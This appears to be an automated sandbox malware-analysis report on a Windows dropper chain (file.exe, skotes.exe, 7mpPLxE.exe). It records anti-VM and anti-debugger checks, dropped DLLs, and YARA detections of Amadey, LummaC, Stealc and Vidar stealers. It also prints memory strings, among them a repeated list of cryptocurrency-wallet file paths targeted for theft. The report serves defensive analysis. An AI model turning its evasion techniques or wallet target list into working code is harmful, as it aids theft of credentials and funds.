Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Special instruction interceptor: First address: 68E668 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFBFCAKKKFB.exe

Code function: 22_2_04E20CA8 rdtsc

22_2_04E20CA8

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008916001\bf0500e203.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2464	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3116	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4052	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3276	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5424	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5424	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2396	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5756	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8628	Thread sleep count: 93 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8628	Thread sleep time: -2790000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8628	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe TID: 8292	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFBFCAKKKFB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA6C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA6C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001A.00000002.2749762012.00000000007EE000.00000040.00000001.01000000.0000000E.sdmp, 7mpPLxE.exe, 7mpPLxE.exe, 0000001C.00000002.2749632371.00000000005E4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareE
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.0000000001684000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.0000000001069000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.0000000001098000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: skotes.exe, 0000001A.00000002.2751593438.0000000001098000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000002.2057917255.0000000000D30000.00000040.00000001.01000000.00000003.sdmp, DocumentsFBFCAKKKFB.exe, 00000016.00000002.2053896469.000000000060E000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2085368516.00000000007EE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.2749762012.00000000007EE000.00000040.00000001.01000000.0000000E.sdmp, 7mpPLxE.exe, 0000001C.00000002.2749632371.00000000005E4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_05150A84 Start: 05150B27 End: 05150AE8

26_2_05150A84

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFBFCAKKKFB.exe

Code function: 22_2_04E20CA8 rdtsc

22_2_04E20CA8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAB5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA53480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0063652B mov eax, dword ptr fs:[00000030h]		26_2_0063652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0063A302 mov eax, dword ptr fs:[00000030h]		26_2_0063A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA8B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA8B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBFCAKKKFB.exe "C:\Users\user\DocumentsFBFCAKKKFB.exe"
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe "C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe"

Source: file.exe, file.exe, 00000000.00000002.2057917255.0000000000D30000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA8B341 cpuid

0_2_6CA8B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_006065E0 LookupAccountNameA,

26_2_006065E0

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsFBFCAKKKFB.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2749562125.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2013477504.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2085093566.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2550911738.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2044728417.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2053805683.0000000000421000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 7mpPLxE.exe PID: 8200, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2057596576.0000000000961000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1504728979.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
